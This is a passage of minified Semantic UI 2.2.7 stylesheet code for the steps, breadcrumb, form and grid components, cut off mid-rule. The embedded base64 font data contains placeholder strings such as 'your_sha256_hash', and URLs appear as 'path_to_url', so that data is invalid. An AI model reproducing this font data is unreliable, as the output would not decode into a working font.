.step.active:after{background:#f3f4f5}.ui.steps .step.active .title{color:#4183c4}.ui.ordered.steps .step.active:before,.ui.steps .active.step .icon{color:rgba(0,0,0,.85)}.ui.steps .step:after{display:block}.ui.steps .active.step:after{display:block}.ui.steps .step:last-child:after{display:none}.ui.steps .active.step:last-child:after{display:none}.ui.steps .link.active.step:hover,.ui.steps .link.active.step:hover::after,.ui.steps a.active.step:hover,.ui.steps a.active.step:hover::after{cursor:pointer;background:#dcddde;color:rgba(0,0,0,.87)}.ui.ordered.steps .step.completed:before,.ui.steps .step.completed>.icon:before{color:#21ba45}.ui.steps .disabled.step{cursor:auto;background:#fff;pointer-events:none}.ui.steps .disabled.step,.ui.steps .disabled.step .description,.ui.steps .disabled.step .title{color:rgba(40,40,40,.3)}.ui.steps .disabled.step:after{background:#fff}@media only screen and (max-width:991px){.ui[class*="tablet stackable"].steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;overflow:visible;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui[class*="tablet stackable"].steps .step{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;border-radius:0;padding:1.14285714em 2em}.ui[class*="tablet stackable"].steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui[class*="tablet stackable"].steps .step:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui[class*="tablet stackable"].steps .step:after{display:none!important}.ui[class*="tablet stackable"].steps .step .content{text-align:center}.ui[class*="tablet stackable"].ordered.steps .step:before,.ui[class*="tablet stackable"].steps .step>.icon{margin:0 0 1rem 0}}.ui.fluid.steps{display:-webkit-box;display:-ms-flexbox;display:flex;width:100%}.ui.attached.steps{width:calc(100% + 2px)!important;margin:0 -1px 0;max-width:calc(100% + 2px);border-radius:.28571429rem .28571429rem 0 0}.ui.attached.steps .step:first-child{border-radius:.28571429rem 0 0 0}.ui.attached.steps .step:last-child{border-radius:0 .28571429rem 0 0}.ui.bottom.attached.steps{margin:0 -1px 0;border-radius:0 0 .28571429rem .28571429rem}.ui.bottom.attached.steps .step:first-child{border-radius:0 0 0 .28571429rem}.ui.bottom.attached.steps .step:last-child{border-radius:0 0 .28571429rem 0}.ui.eight.steps,.ui.five.steps,.ui.four.steps,.ui.one.steps,.ui.seven.steps,.ui.six.steps,.ui.three.steps,.ui.two.steps{width:100%}.ui.eight.steps>.step,.ui.five.steps>.step,.ui.four.steps>.step,.ui.one.steps>.step,.ui.seven.steps>.step,.ui.six.steps>.step,.ui.three.steps>.step,.ui.two.steps>.step{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.ui.one.steps>.step{width:100%}.ui.two.steps>.step{width:50%}.ui.three.steps>.step{width:33.333%}.ui.four.steps>.step{width:25%}.ui.five.steps>.step{width:20%}.ui.six.steps>.step{width:16.666%}.ui.seven.steps>.step{width:14.285%}.ui.eight.steps>.step{width:12.5%}.ui.mini.step,.ui.mini.steps .step{font-size:.78571429rem}.ui.tiny.step,.ui.tiny.steps .step{font-size:.85714286rem}.ui.small.step,.ui.small.steps .step{font-size:.92857143rem}.ui.step,.ui.steps .step{font-size:1rem}.ui.large.step,.ui.large.steps .step{font-size:1.14285714rem}.ui.big.step,.ui.big.steps .step{font-size:1.28571429rem}.ui.huge.step,.ui.huge.steps .step{font-size:1.42857143rem}.ui.massive.step,.ui.massive.steps .step{font-size:1.71428571rem}@font-face{font-family:Step;src:url(data:application/x-font-ttf;charset=utf-8;;base64,your_sha256_hashBkn/your_sha256_hashyour_sha256_hashyour_sha256_hashHAAAA9gAAALNcG9zdK69QJgAAAaoAAAAO3ByZXCSoZr/your_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAUGZFZABA6ADoAQNSyour_sha512_hash//AAAAAOgA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashYyHwEWA6QP/iAQLBD+6g8PTBAsEKQBbhAsEEwPAhYWEP4gDw8BFhAsEEwQEKUBbxAQTBAAAAH//f+your_sha256_hash89Lp+AV51xHR0xOrEdHTEAAAAAAEAAAABAADDeRpdXw889QALA+gAAAAAzzWYjQAAAADPNWBN//3/sQOkAwsAAAAIAAIAAAAAAAAAAQAAA1L/agBaA+gAAP/3A6QAAQAAAAAAAAAAAAAAAAAAAAMD6AAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsGY2lyY2xlAAAAAAEAAf//AA8AAAAAAAAAAAAAAAAAAAAAADIAMgML/7EDC/+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashkAYhRWLBAiFixBgNEsSYBiFFYuAQAiFixBgFEWVlZWbgB/4WwBI2xBQBEAAA=) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,your_sha256_hashyour_sha256_hashAAAAHAZJ/your_sha256_hashyour_sha256_hashCQHUwNNaG10eAAAB+your_sha256_hashyour_sha256_hashAAAAm8AAAAVgAAAFaSoZr/your_sha256_hashHPQ/your_sha256_hashGF4w/your_sha256_hashVXZdtNWFJU8ZHASOmSgoA7X3DhQ68qEKRgwaSrFdiEdHAitBB2kDHTkncc+62uOQrtWH/m07n09JLR0rbYsls++your_sha256_hashUC7xWOsqWSdYJ+your_sha256_hashyour_sha256_hashcxHnisfpQqkIqR6cg/dkpOlIaBVHHUoVbi6DCTX/your_sha256_hashyour_sha256_hashKHegOZMzt7cTHtbiersnCknwcyb3Z2452HQ6dXh3/R+hdM4cxHj+Jifj5C+your_sha256_hash_hash/EDeNIVL+5YpSrRvm6JMu2iKCu0SVKVdNsUU7YoppmnPmmKG9h1TzNKeMzLj/8vc55H7HN7xkJv2XeSmfQ+your_sha256_hash8aWDyLmLI+upER521tcofxX914gsHcmmip7siF5viLq/bFj483e6rj5pG3bDVyour_sha512_hashexOfG+x+3GLrdcd3kJWdYNcmP28N9SZKrrH+UtrVQnR6wrJ49VaxhDKrwour6SlHu0tRu/your_sha256_hashxLgOdQ9qa8TpoXoYGwshhqG0vRBwSCldFd+your_sha512_hash+Rr4HRvOGjdAz1UfDRBI1U1x+jGKGM0ljXl3wR0MVZ+w2jVYvs93Eyour_sha512_hashJqf/34aFRXJXOxq7eerD1ZNRJXfZ8rjLTXZZ16M2R9VOGvsIjS0PN+bY4XIstsRgQbb+your_sha256_hash3CPnLsB9cgh2yCH4lByCz8i5BfA5OQRfkEMwIIdgl5w7AAyour_sha512_hash+zxY9oFFZB9aROqRkesT6lMeLPV7i0j9wSJSfzRyY0L9iQdL/dkiUn+xiNRnxpeZIymvDp7zjg7+BJfqrV4AAAAAAQAB//your_sha512_hash/09BQEfg3yt+fh8gvYQxD0j68DOJiQn8U+DnZxQDcQUEljLmCwBpBgbG/3//your_sha256_hash7///7fyLyEmRvI5WBgAokCAFb/DJAAAAB4nGNgZGBgDvqfxRDF/your_sha256_hashQAAAAAAAgAGABMAbgAAAC0JkQAAAAB4nHWQy2rCQBSG//HSi0JbWui2sypKabxgN4IgWHTTbqS4LTHGJBIzMhkFX6Pv0IfpS/RZyour_sha512_hash/LAlfi0nIBF+LOcpH+0XKJ3LNcxq14tXxC71muYCJSy1Xci6your_sha512_hashbFc93QRtY+your_sha256_hashREqyTDezs9/eU2x4WpvWcNeuS511JTE8qCF5H7u1BY1H72S3Ymi7aPD95/9+your_sha256_hashyour_sha256_hashUViwQIhYsQYDRLEmAYhRWLgEAIhYsQYBRFlZWVm4Af+FsASNsQUARAAA) format('woff')}.ui.ordered.steps .step.completed:before,.ui.steps .step.completed>.icon:before{font-family:Step;content:'\e800'}/*! * # Semantic UI 2.2.7 - Breadcrumb * path_to_url * * * Released under the MIT license * path_to_url * */.ui.breadcrumb{line-height:1;display:inline-block;margin:0 0;vertical-align:middle}.ui.breadcrumb:first-child{margin-top:0}.ui.breadcrumb:last-child{margin-bottom:0}.ui.breadcrumb .divider{display:inline-block;opacity:.7;margin:0 .21428571rem 0;font-size:.92857143em;color:rgba(0,0,0,.4);vertical-align:baseline}.ui.breadcrumb a{color:#4183c4}.ui.breadcrumb a:hover{color:#1e70bf}.ui.breadcrumb .icon.divider{font-size:.85714286em;vertical-align:baseline}.ui.breadcrumb a.section{cursor:pointer}.ui.breadcrumb .section{display:inline-block;margin:0;padding:0}.ui.breadcrumb.segment{display:inline-block;padding:.78571429em 1em}.ui.breadcrumb .active.section{font-weight:700}.ui.mini.breadcrumb{font-size:.78571429rem}.ui.tiny.breadcrumb{font-size:.85714286rem}.ui.small.breadcrumb{font-size:.92857143rem}.ui.breadcrumb{font-size:1rem}.ui.large.breadcrumb{font-size:1.14285714rem}.ui.big.breadcrumb{font-size:1.28571429rem}.ui.huge.breadcrumb{font-size:1.42857143rem}.ui.massive.breadcrumb{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - Form * path_to_url * * * Released under the MIT license * path_to_url * */.ui.form{position:relative;max-width:100%}.ui.form>p{margin:1em 0}.ui.form .field{clear:both;margin:0 0 1em}.ui.form .field:last-child,.ui.form .fields:last-child .field{margin-bottom:0}.ui.form .fields .field{clear:both;margin:0}.ui.form .field>label{display:block;margin:0 0 .28571429rem 0;color:rgba(0,0,0,.87);font-size:.92857143em;font-weight:700;text-transform:none}.ui.form input:not([type]),.ui.form input[type=date],.ui.form input[type=datetime-local],.ui.form input[type=email],.ui.form input[type=file],.ui.form input[type=number],.ui.form input[type=password],.ui.form input[type=search],.ui.form input[type=tel],.ui.form input[type=text],.ui.form input[type=time],.ui.form input[type=url],.ui.form textarea{width:100%;vertical-align:top}.ui.form ::-webkit-datetime-edit,.ui.form ::-webkit-inner-spin-button{height:1.2142em}.ui.form input:not([type]),.ui.form input[type=date],.ui.form input[type=datetime-local],.ui.form input[type=email],.ui.form input[type=file],.ui.form input[type=number],.ui.form input[type=password],.ui.form input[type=search],.ui.form input[type=tel],.ui.form input[type=text],.ui.form input[type=time],.ui.form input[type=url]{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;margin:0;outline:0;-webkit-appearance:none;tap-highlight-color:rgba(255,255,255,0);line-height:1.2142em;padding:.67861429em 1em;font-size:1em;background:#fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 0 0 0 transparent inset;-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease}.ui.form textarea{margin:0;-webkit-appearance:none;tap-highlight-color:rgba(255,255,255,0);padding:.78571429em 1em;background:#fff;border:1px solid rgba(34,36,38,.15);outline:0;color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 0 0 0 transparent inset;-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease;font-size:1em;line-height:1.2857;resize:vertical}.ui.form textarea:not([rows]){height:12em;min-height:8em;max-height:24em}.ui.form input[type=checkbox],.ui.form textarea{vertical-align:top}.ui.form input.attached{width:auto}.ui.form select{display:block;height:auto;width:100%;background:#fff;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;box-shadow:0 0 0 0 transparent inset;padding:.62em 1em;color:rgba(0,0,0,.87);-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease}.ui.form .field>.selection.dropdown{width:100%}.ui.form .field>.selection.dropdown>.dropdown.icon{float:right}.ui.form .inline.field>.selection.dropdown,.ui.form .inline.fields .field>.selection.dropdown{width:auto}.ui.form .inline.field>.selection.dropdown>.dropdown.icon,.ui.form .inline.fields .field>.selection.dropdown>.dropdown.icon{float:none}.ui.form .field .ui.input,.ui.form .fields .field .ui.input,.ui.form .wide.field .ui.input{width:100%}.ui.form .inline.field:not(.wide) .ui.input,.ui.form .inline.fields .field:not(.wide) .ui.input{width:auto;vertical-align:middle}.ui.form .field .ui.input input,.ui.form .fields .field .ui.input input{width:auto}.ui.form .eight.fields .ui.input input,.ui.form .five.fields .ui.input input,.ui.form .four.fields .ui.input input,.ui.form .nine.fields .ui.input input,.ui.form .seven.fields .ui.input input,.ui.form .six.fields .ui.input input,.ui.form .ten.fields .ui.input input,.ui.form .three.fields .ui.input input,.ui.form .two.fields .ui.input input,.ui.form .wide.field .ui.input input{-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;width:0}.ui.form .error.message,.ui.form .success.message,.ui.form .warning.message{display:none}.ui.form .message:first-child{margin-top:0}.ui.form .field .prompt.label{white-space:normal;background:#fff!important;border:1px solid #e0b4b4!important;color:#9f3a38!important}.ui.form .inline.field .prompt,.ui.form .inline.fields .field .prompt{vertical-align:top;margin:-.25em 0 -.5em .5em}.ui.form .inline.field .prompt:before,.ui.form .inline.fields .field .prompt:before{border-width:0 0 1px 1px;bottom:auto;right:auto;top:50%;left:0}.ui.form .field.field input:-webkit-autofill{box-shadow:0 0 0 100px ivory inset!important;border-color:#e5dfa1!important}.ui.form .field.field input:-webkit-autofill:focus{box-shadow:0 0 0 100px ivory inset!important;border-color:#d5c315!important}.ui.form .error.error input:-webkit-autofill{box-shadow:0 0 0 100px #fffaf0 inset!important;border-color:#e0b4b4!important}.ui.form ::-webkit-input-placeholder{color:rgba(191,191,191,.87)}.ui.form :-ms-input-placeholder{color:rgba(191,191,191,.87)}.ui.form ::-moz-placeholder{color:rgba(191,191,191,.87)}.ui.form :focus::-webkit-input-placeholder{color:rgba(115,115,115,.87)}.ui.form :focus:-ms-input-placeholder{color:rgba(115,115,115,.87)}.ui.form :focus::-moz-placeholder{color:rgba(115,115,115,.87)}.ui.form .error ::-webkit-input-placeholder{color:#e7bdbc}.ui.form .error :-ms-input-placeholder{color:#e7bdbc!important}.ui.form .error ::-moz-placeholder{color:#e7bdbc}.ui.form .error :focus::-webkit-input-placeholder{color:#da9796}.ui.form .error :focus:-ms-input-placeholder{color:#da9796!important}.ui.form .error :focus::-moz-placeholder{color:#da9796}.ui.form input:not([type]):focus,.ui.form input[type=date]:focus,.ui.form input[type=datetime-local]:focus,.ui.form input[type=email]:focus,.ui.form input[type=file]:focus,.ui.form input[type=number]:focus,.ui.form input[type=password]:focus,.ui.form input[type=search]:focus,.ui.form input[type=tel]:focus,.ui.form input[type=text]:focus,.ui.form input[type=time]:focus,.ui.form input[type=url]:focus{color:rgba(0,0,0,.95);border-color:#85b7d9;border-radius:.28571429rem;background:#fff;box-shadow:0 0 0 0 rgba(34,36,38,.35) inset}.ui.form textarea:focus{color:rgba(0,0,0,.95);border-color:#85b7d9;border-radius:.28571429rem;background:#fff;box-shadow:0 0 0 0 rgba(34,36,38,.35) inset;-webkit-appearance:none}.ui.form.success .success.message:not(:empty){display:block}.ui.form.success .compact.success.message:not(:empty){display:inline-block}.ui.form.success .icon.success.message:not(:empty){display:-webkit-box;display:-ms-flexbox;display:flex}.ui.form.warning .warning.message:not(:empty){display:block}.ui.form.warning .compact.warning.message:not(:empty){display:inline-block}.ui.form.warning .icon.warning.message:not(:empty){display:-webkit-box;display:-ms-flexbox;display:flex}.ui.form.error .error.message:not(:empty){display:block}.ui.form.error .compact.error.message:not(:empty){display:inline-block}.ui.form.error .icon.error.message:not(:empty){display:-webkit-box;display:-ms-flexbox;display:flex}.ui.form .field.error .input,.ui.form .field.error label,.ui.form .fields.error .field .input,.ui.form .fields.error .field label{color:#9f3a38}.ui.form .field.error .corner.label,.ui.form .fields.error .field .corner.label{border-color:#9f3a38;color:#fff}.ui.form .field.error input:not([type]),.ui.form .field.error input[type=date],.ui.form .field.error input[type=datetime-local],.ui.form .field.error input[type=email],.ui.form .field.error input[type=file],.ui.form .field.error input[type=number],.ui.form .field.error input[type=password],.ui.form .field.error input[type=search],.ui.form .field.error input[type=tel],.ui.form .field.error input[type=text],.ui.form .field.error input[type=time],.ui.form .field.error input[type=url],.ui.form .field.error select,.ui.form .field.error textarea,.ui.form .fields.error .field input:not([type]),.ui.form .fields.error .field input[type=date],.ui.form .fields.error .field input[type=datetime-local],.ui.form .fields.error .field input[type=email],.ui.form .fields.error .field input[type=file],.ui.form .fields.error .field input[type=number],.ui.form .fields.error .field input[type=password],.ui.form .fields.error .field input[type=search],.ui.form .fields.error .field input[type=tel],.ui.form .fields.error .field input[type=text],.ui.form .fields.error .field input[type=time],.ui.form .fields.error .field input[type=url],.ui.form .fields.error .field select,.ui.form .fields.error .field textarea{background:#fff6f6;border-color:#e0b4b4;color:#9f3a38;border-radius:'';box-shadow:none}.ui.form .field.error input:not([type]):focus,.ui.form .field.error input[type=date]:focus,.ui.form .field.error input[type=datetime-local]:focus,.ui.form .field.error input[type=email]:focus,.ui.form .field.error input[type=file]:focus,.ui.form .field.error input[type=number]:focus,.ui.form .field.error input[type=password]:focus,.ui.form .field.error input[type=search]:focus,.ui.form .field.error input[type=tel]:focus,.ui.form .field.error input[type=text]:focus,.ui.form .field.error input[type=time]:focus,.ui.form .field.error input[type=url]:focus,.ui.form .field.error select:focus,.ui.form .field.error textarea:focus{background:#fff6f6;border-color:#e0b4b4;color:#9f3a38;-webkit-appearance:none;box-shadow:none}.ui.form .field.error select{-webkit-appearance:menulist-button}.ui.form .field.error .ui.dropdown,.ui.form .field.error .ui.dropdown .item,.ui.form .field.error .ui.dropdown .text,.ui.form .fields.error .field .ui.dropdown,.ui.form .fields.error .field .ui.dropdown .item{background:#fff6f6;color:#9f3a38}.ui.form .field.error .ui.dropdown,.ui.form .fields.error .field .ui.dropdown{border-color:#e0b4b4!important}.ui.form .field.error .ui.dropdown:hover,.ui.form .fields.error .field .ui.dropdown:hover{border-color:#e0b4b4!important}.ui.form .field.error .ui.dropdown:hover .menu,.ui.form .fields.error .field .ui.dropdown:hover .menu{border-color:#e0b4b4}.ui.form .field.error .ui.multiple.selection.dropdown>.label,.ui.form .fields.error .field .ui.multiple.selection.dropdown>.label{background-color:#eacbcb;color:#9f3a38}.ui.form .field.error .ui.dropdown .menu .item:hover,.ui.form .fields.error .field .ui.dropdown .menu .item:hover{background-color:#fbe7e7}.ui.form .field.error .ui.dropdown .menu .selected.item,.ui.form .fields.error .field .ui.dropdown .menu .selected.item{background-color:#fbe7e7}.ui.form .field.error .ui.dropdown .menu .active.item,.ui.form .fields.error .field .ui.dropdown .menu .active.item{background-color:#fdcfcf!important}.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box,.ui.form .field.error .checkbox:not(.toggle):not(.slider) label,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label{color:#9f3a38}.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box:before,.ui.form .field.error .checkbox:not(.toggle):not(.slider) label:before,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box:before,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label:before{background:#fff6f6;border-color:#e0b4b4}.ui.form .field.error .checkbox .box:after,.ui.form .field.error .checkbox label:after,.ui.form .fields.error .field .checkbox .box:after,.ui.form .fields.error .field .checkbox label:after{color:#9f3a38}.ui.form .disabled.field,.ui.form .disabled.fields .field,.ui.form .field :disabled{pointer-events:none;opacity:.45}.ui.form .field.disabled>label,.ui.form .fields.disabled>label{opacity:.45}.ui.form .field.disabled :disabled{opacity:1}.ui.loading.form{position:relative;cursor:default;pointer-events:none}.ui.loading.form:before{position:absolute;content:'';top:0;left:0;background:rgba(255,255,255,.8);width:100%;height:100%;z-index:100}.ui.loading.form:after{position:absolute;content:'';top:50%;left:50%;margin:-1.5em 0 0 -1.5em;width:3em;height:3em;-webkit-animation:form-spin .6s linear;animation:form-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.1);border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent;visibility:visible;z-index:101}@-webkit-keyframes form-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes form-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.form .required.field>.checkbox:after,.ui.form .required.field>label:after,.ui.form .required.fields.grouped>label:after,.ui.form .required.fields:not(.grouped)>.field>.checkbox:after,.ui.form .required.fields:not(.grouped)>.field>label:after{margin:-.2em 0 0 .2em;content:'*';color:#db2828}.ui.form .required.field>label:after,.ui.form .required.fields.grouped>label:after,.ui.form .required.fields:not(.grouped)>.field>label:after{display:inline-block;vertical-align:top}.ui.form .required.field>.checkbox:after,.ui.form .required.fields:not(.grouped)>.field>.checkbox:after{position:absolute;top:0;left:100%}.ui.form .inverted.segment .ui.checkbox .box,.ui.form .inverted.segment .ui.checkbox label,.ui.form .inverted.segment label,.ui.inverted.form .inline.field>label,.ui.inverted.form .inline.field>p,.ui.inverted.form .inline.fields .field>label,.ui.inverted.form .inline.fields .field>p,.ui.inverted.form .inline.fields>label,.ui.inverted.form .ui.checkbox .box,.ui.inverted.form .ui.checkbox label,.ui.inverted.form label{color:rgba(255,255,255,.9)}.ui.inverted.form input:not([type]),.ui.inverted.form input[type=date],.ui.inverted.form input[type=datetime-local],.ui.inverted.form input[type=email],.ui.inverted.form input[type=file],.ui.inverted.form input[type=number],.ui.inverted.form input[type=password],.ui.inverted.form input[type=search],.ui.inverted.form input[type=tel],.ui.inverted.form input[type=text],.ui.inverted.form input[type=time],.ui.inverted.form input[type=url]{background:#fff;border-color:rgba(255,255,255,.1);color:rgba(0,0,0,.87);box-shadow:none}.ui.form .grouped.fields{display:block;margin:0 0 1em}.ui.form .grouped.fields:last-child{margin-bottom:0}.ui.form .grouped.fields>label{margin:0 0 .28571429rem 0;color:rgba(0,0,0,.87);font-size:.92857143em;font-weight:700;text-transform:none}.ui.form .grouped.fields .field,.ui.form .grouped.inline.fields .field{display:block;margin:.5em 0;padding:0}.ui.form .fields{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;margin:0 -.5em 1em}.ui.form .fields>.field{-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;padding-left:.5em;padding-right:.5em}.ui.form .fields>.field:first-child{border-left:none;box-shadow:none}.ui.form .two.fields>.field,.ui.form .two.fields>.fields{width:50%}.ui.form .three.fields>.field,.ui.form .three.fields>.fields{width:33.33333333%}.ui.form .four.fields>.field,.ui.form .four.fields>.fields{width:25%}.ui.form .five.fields>.field,.ui.form .five.fields>.fields{width:20%}.ui.form .six.fields>.field,.ui.form .six.fields>.fields{width:16.66666667%}.ui.form .seven.fields>.field,.ui.form .seven.fields>.fields{width:14.28571429%}.ui.form .eight.fields>.field,.ui.form .eight.fields>.fields{width:12.5%}.ui.form .nine.fields>.field,.ui.form .nine.fields>.fields{width:11.11111111%}.ui.form .ten.fields>.field,.ui.form .ten.fields>.fields{width:10%}@media only screen and (max-width:767px){.ui.form .fields{-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.form .eight.fields>.field,.ui.form .eight.fields>.fields,.ui.form .five.fields>.field,.ui.form .five.fields>.fields,.ui.form .four.fields>.field,.ui.form .four.fields>.fields,.ui.form .nine.fields>.field,.ui.form .nine.fields>.fields,.ui.form .seven.fields>.field,.ui.form .seven.fields>.fields,.ui.form .six.fields>.field,.ui.form .six.fields>.fields,.ui.form .ten.fields>.field,.ui.form .ten.fields>.fields,.ui.form .three.fields>.field,.ui.form .three.fields>.fields,.ui.form .two.fields>.field,.ui.form .two.fields>.fields,.ui.form [class*="equal width"].fields>.field,.ui[class*="equal width"].form .fields>.field{width:100%!important;margin:0 0 1em}}.ui.form .fields .wide.field{width:6.25%;padding-left:.5em;padding-right:.5em}.ui.form .one.wide.field{width:6.25%!important}.ui.form .two.wide.field{width:12.5%!important}.ui.form .three.wide.field{width:18.75%!important}.ui.form .four.wide.field{width:25%!important}.ui.form .five.wide.field{width:31.25%!important}.ui.form .six.wide.field{width:37.5%!important}.ui.form .seven.wide.field{width:43.75%!important}.ui.form .eight.wide.field{width:50%!important}.ui.form .nine.wide.field{width:56.25%!important}.ui.form .ten.wide.field{width:62.5%!important}.ui.form .eleven.wide.field{width:68.75%!important}.ui.form .twelve.wide.field{width:75%!important}.ui.form .thirteen.wide.field{width:81.25%!important}.ui.form .fourteen.wide.field{width:87.5%!important}.ui.form .fifteen.wide.field{width:93.75%!important}.ui.form .sixteen.wide.field{width:100%!important}@media only screen and (max-width:767px){.ui.form .fields>.eight.wide.field,.ui.form .fields>.eleven.wide.field,.ui.form .fields>.fifteen.wide.field,.ui.form .fields>.five.wide.field,.ui.form .fields>.four.wide.field,.ui.form .fields>.fourteen.wide.field,.ui.form .fields>.nine.wide.field,.ui.form .fields>.seven.wide.field,.ui.form .fields>.six.wide.field,.ui.form .fields>.sixteen.wide.field,.ui.form .fields>.ten.wide.field,.ui.form .fields>.thirteen.wide.field,.ui.form .fields>.three.wide.field,.ui.form .fields>.twelve.wide.field,.ui.form .fields>.two.wide.field,.ui.form .five.fields>.field,.ui.form .five.fields>.fields,.ui.form .four.fields>.field,.ui.form .four.fields>.fields,.ui.form .three.fields>.field,.ui.form .three.fields>.fields,.ui.form .two.fields>.field,.ui.form .two.fields>.fields{width:100%!important}.ui.form .fields{margin-bottom:0}}.ui.form [class*="equal width"].fields>.field,.ui[class*="equal width"].form .fields>.field{width:100%;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto}.ui.form .inline.fields{margin:0 0 1em;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.form .inline.fields .field{margin:0;padding:0 1em 0 0}.ui.form .inline.field>label,.ui.form .inline.field>p,.ui.form .inline.fields .field>label,.ui.form .inline.fields .field>p,.ui.form .inline.fields>label{display:inline-block;width:auto;margin-top:0;margin-bottom:0;vertical-align:baseline;font-size:.92857143em;font-weight:700;color:rgba(0,0,0,.87);text-transform:none}.ui.form .inline.fields>label{margin:.035714em 1em 0 0}.ui.form .inline.field>input,.ui.form .inline.field>select,.ui.form .inline.fields .field>input,.ui.form .inline.fields .field>select{display:inline-block;width:auto;margin-top:0;margin-bottom:0;vertical-align:middle;font-size:1em}.ui.form .inline.field>:first-child,.ui.form .inline.fields .field>:first-child{margin:0 .85714286em 0 0}.ui.form .inline.field>:only-child,.ui.form .inline.fields .field>:only-child{margin:0}.ui.form .inline.fields .wide.field{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.form .inline.fields .wide.field>input,.ui.form .inline.fields .wide.field>select{width:100%}.ui.mini.form{font-size:.78571429rem}.ui.tiny.form{font-size:.85714286rem}.ui.small.form{font-size:.92857143rem}.ui.form{font-size:1rem}.ui.large.form{font-size:1.14285714rem}.ui.big.form{font-size:1.28571429rem}.ui.huge.form{font-size:1.42857143rem}.ui.massive.form{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - Grid * path_to_url * * * Released under the MIT license * path_to_url * */.ui.grid{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;padding:0}.ui.grid{margin-top:-1rem;margin-bottom:-1rem;margin-left:-1rem;margin-right:-1rem}.ui.relaxed.grid{margin-left:-1.5rem;margin-right:-1.5rem}.ui[class*="very relaxed"].grid{margin-left:-2.5rem;margin-right:-2.5rem}.ui.grid+.grid{margin-top:1rem}.ui.grid>.column:not(.row),.ui.grid>.row>.column{position:relative;display:inline-block;width:6.25%;padding-left:1rem;padding-right:1rem;vertical-align:top}.ui.grid>*{padding-left:1rem;padding-right:1rem}.ui.grid>.row{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:inherit;-ms-flex-pack:inherit;justify-content:inherit;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%!important;padding:0;padding-top:1rem;padding-bottom:1rem}.ui.grid>.column:not(.row){padding-top:1rem;padding-bottom:1rem}.ui.grid>.row>.column{margin-top:0;margin-bottom:0}.ui.grid>.row>.column>img,.ui.grid>.row>img{max-width:100%}.ui.grid>.ui.grid:first-child{margin-top:0}.ui.grid>.ui.grid:last-child{margin-bottom:0}.ui.aligned.grid .column>.segment:not(.compact):not(.attached),.ui.grid .aligned.row>.column>.segment:not(.compact):not(.attached){width:100%}.ui.grid 